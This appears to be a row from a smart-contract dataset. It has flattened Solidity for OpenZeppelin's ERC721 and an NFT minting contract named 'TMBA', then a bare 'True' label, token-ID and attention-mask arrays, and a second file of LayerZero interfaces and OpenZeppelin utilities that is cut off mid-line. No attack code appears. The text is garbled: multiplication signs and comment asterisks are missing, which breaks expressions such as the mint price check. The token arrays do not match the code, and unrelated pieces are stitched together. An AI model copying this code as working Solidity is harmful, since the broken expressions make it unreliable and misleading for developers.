{IERC721-isApprovedForAll}. / function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /* * @dev See {IERC721-transferFrom}. / function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /* * @dev See {IERC721-safeTransferFrom}. / function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /* * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /* * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). / function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /* * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. / function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner \|\| getApproved(tokenId) == spender \|\| isApprovedForAll(owner, spender)); } /* * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. / function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /* * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. / function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /* * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. / function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /* * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. / function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /* * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. / function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /* * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. / function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /* * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value / function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } contract TMBA is ERC721, Ownable { using Counters for Counters.Counter; using Strings for uint256; uint256 public constant PRICE_PER_NFT = 0.04 ether; uint256 public constant MAX_NFTS = 1000; uint256 public constant NUM_TEAM_NFTS = 10; Counters.Counter private _tokenIds; mapping (uint256 => string) private _yearbook; string public baseURI; event YearbookUpdated(address _owner, uint256 _tokenId); constructor(string memory uri) ERC721("The Token MBA", "TMBA") { baseURI = uri; for (uint i = 0; i < NUM_TEAM_NFTS; i++) { _mint(owner(), _tokenIds.current()); _tokenIds.increment(); } } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function totalSupply() public view returns (uint) { return _tokenIds.current(); } function getYearbook(uint256 tokenId) public view returns (string memory) { return _yearbook[tokenId]; } function updateBaseURI(string memory uri) external onlyOwner { baseURI = uri; } function withdraw() public onlyOwner { uint balance = address(this).balance; payable(msg.sender).transfer(balance); } function setYearbook(uint256 tokenId, string memory text) external { require(ERC721.ownerOf(tokenId) == msg.sender, "TMBA: sender is not owner of token"); _yearbook[tokenId] = text; emit YearbookUpdated(msg.sender, tokenId); } function mint(uint256 count) public payable returns (bool) { require(count > 0 && count <= 5, "TMBA: Cannot mint more than 5 tokens"); require(_tokenIds.current() + count <= MAX_NFTS, "TMBA: Cannot mint more than max supply"); require(msg.value == PRICE_PER_NFT count , "TMBA: Ether value sent is not correct"); for (uint i = 0; i < count; i++) { _mint(msg.sender, _tokenIds.current()); _tokenIds.increment(); } return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2324, 1008, 1013, 1013, 1013, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1013, 1013, 1064, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1064, 1064, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1064, 1064, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1064, 1064, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1064, 1064, 1012, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1012, 1064, 1013, 1013, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1013, 1013, 1064, 1064, 1064, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1012, 1005, 1036, 1012, 1064, 1064, 1064, 1064, 1064, 1035, 1064, 1064, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1032, 1064, 1035, 1035, 1064, 1064, 1064, 1013, 1013, 1064, 1064, 1064, 1035, 1013, 1064, 1064, 1032, 1035, 1064, 1064, 1064, 1064, 1064, 1013, 1012, 1011, 1011, 1012, 1032, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1013, 1013, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1032, 1035, 1064, 1064, 1064, 1064, 1064, 1064, 1032, 1064, 1064, 1064, 1064, 1013, 1013, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1035, 1005, 1012, 1064, 1064, 1064, 1064, 1064, 1035, 1064, 1035, 1064, 1064, 1064, 1064, 1064, 1064, 1032, 1032, 1064, 1064, 1064, 1064, 1013, 1013, 1064, 1064, 1035, 1064, 1064, 1035, 1064, 1064, 1064, 1064, 1032, 1036, 1011, 1011, 1005, 1013, 1064, 1064, 1064, 1064, 1035, 1064, 1064, 1032, 1032, 1035, 1064, 1064, 1064, 1064, 1035, 1064, 1064, 1035, 1035, 1035, 1013, 1064, 1064, 1064, 1064, 1064, 1035, 1064, 1064, 1035, 1032, 1064, 1035, 1064, 1064, 1013, 1013, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1036, 1012, 1035, 1035, 1035, 1035, 1012, 1005, 1064, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1064, 1064, 1064, 1064, 1035, 1035, 1035, 1035, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
// File: contracts/interfaces/ILayerZeroUserApplicationConfig.sol pragma solidity >=0.5.0; interface ILayerZeroUserApplicationConfig { // @notice set the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _configType - type of configuration. every messaging library has its own convention. // @param _config - configuration in the bytes. can encode arbitrary content. function setConfig(uint16 _version, uint16 _chainId, uint _configType, bytes calldata _config) external; // @notice set the send() LayerZero messaging library version to _version // @param _version - new messaging library version function setSendVersion(uint16 _version) external; // @notice set the lzReceive() LayerZero messaging library version to _version // @param _version - new messaging library version function setReceiveVersion(uint16 _version) external; // @notice Only when the UA needs to resume the message flow in blocking mode and clear the stored payload // @param _srcChainId - the chainId of the source chain // @param _srcAddress - the contract address of the source contract at the source chain function forceResumeReceive(uint16 _srcChainId, bytes calldata _srcAddress) external; } // File: contracts/interfaces/ILayerZeroEndpoint.sol pragma solidity >=0.5.0; interface ILayerZeroEndpoint is ILayerZeroUserApplicationConfig { // @notice send a LayerZero message to the specified address at a LayerZero endpoint. // @param _dstChainId - the destination chain identifier // @param _destination - the address on destination chain (in bytes). address length/format may vary by chains // @param _payload - a custom bytes payload to send to the destination contract // @param _refundAddress - if the source transaction is cheaper than the amount of value passed, refund the additional amount to this address // @param _zroPaymentAddress - the address of the ZRO token holder who would pay for the transaction // @param _adapterParams - parameters for custom functionality. e.g. receive airdropped native gas from the relayer on destination function send(uint16 _dstChainId, bytes calldata _destination, bytes calldata _payload, address payable _refundAddress, address _zroPaymentAddress, bytes calldata _adapterParams) external payable; // @notice used by the messaging library to publish verified payload // @param _srcChainId - the source chain identifier // @param _srcAddress - the source contract (as bytes) at the source chain // @param _dstAddress - the address on destination chain // @param _nonce - the unbound message ordering nonce // @param _gasLimit - the gas limit for external contract execution // @param _payload - verified payload to send to the destination contract function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external; // @notice get the inboundNonce of a receiver from a source chain which could be EVM or non-EVM chain // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function getInboundNonce(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (uint64); // @notice get the outboundNonce from this source chain which, consequently, is always an EVM // @param _srcAddress - the source chain contract address function getOutboundNonce(uint16 _dstChainId, address _srcAddress) external view returns (uint64); // @notice gets a quote in source native gas, for the amount that send() requires to pay for message delivery // @param _dstChainId - the destination chain identifier // @param _userApplication - the user app address on this EVM chain // @param _payload - the custom message to send over LayerZero // @param _payInZRO - if false, user app pays the protocol fee in native token // @param _adapterParam - parameters for the adapter service, e.g. send some dust native token to dstChain function estimateFees(uint16 _dstChainId, address _userApplication, bytes calldata _payload, bool _payInZRO, bytes calldata _adapterParam) external view returns (uint nativeFee, uint zroFee); // @notice get this Endpoint's immutable source identifier function getChainId() external view returns (uint16); // @notice the interface to retry failed message on this Endpoint destination // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address // @param _payload - the payload to be retried function retryPayload(uint16 _srcChainId, bytes calldata _srcAddress, bytes calldata _payload) external; // @notice query if any STORED payload (message blocking) at the endpoint. // @param _srcChainId - the source chain identifier // @param _srcAddress - the source chain contract address function hasStoredPayload(uint16 _srcChainId, bytes calldata _srcAddress) external view returns (bool); // @notice query if the _libraryAddress is valid for sending msgs. // @param _userApplication - the user app address on this EVM chain function getSendLibraryAddress(address _userApplication) external view returns (address); // @notice query if the _libraryAddress is valid for receiving msgs. // @param _userApplication - the user app address on this EVM chain function getReceiveLibraryAddress(address _userApplication) external view returns (address); // @notice query if the non-reentrancy guard for send() is on // @return true if the guard is on. false otherwise function isSendingPayload() external view returns (bool); // @notice query if the non-reentrancy guard for receive() is on // @return true if the guard is on. false otherwise function isReceivingPayload() external view returns (bool); // @notice get the configuration of the LayerZero messaging library of the specified version // @param _version - messaging library version // @param _chainId - the chainId for the pending config change // @param _userApplication - the contract address of the user application // @param _configType - type of configuration. every messaging library has its own convention. function getConfig(uint16 _version, uint16 _chainId, address _userApplication, uint _configType) external view returns (bytes memory); // @notice get the send() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getSendVersion(address _userApplication) external view returns (uint16); // @notice get the lzReceive() LayerZero messaging library version // @param _userApplication - the contract address of the user application function getReceiveVersion(address _userApplication) external view returns (uint16); } // File: contracts/interfaces/ILayerZeroReceiver.sol pragma solidity >=0.5.0; interface ILayerZeroReceiver { // @notice LayerZero endpoint will invoke this function to deliver the message on the destination // @param _srcChainId - the source endpoint identifier // @param _srcAddress - the source sending contract address from the source chain // @param _nonce - the ordered message nonce // @param _payload - the signed payload is the UA bytes has encoded to be sent function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64 _nonce, bytes calldata _payload) external; } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _transferOwnership(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. / function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ / function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ / function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /* * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ / function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /* * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. / interface IERC721Receiver { /* * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. / function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /* * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. / interface IERC165 { /* * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. / function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /* * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId \|\| super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. / abstract contract ERC165 is IERC165 { /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /* * @dev Required interface of an ERC721 compliant contract. / interface IERC721 is IERC165 { /* * @dev Emitted when `tokenId` token is transferred from `from` to `to`. / event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /* * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. / event Approval(address indexed owner, address indexed approved, uint256 indexed 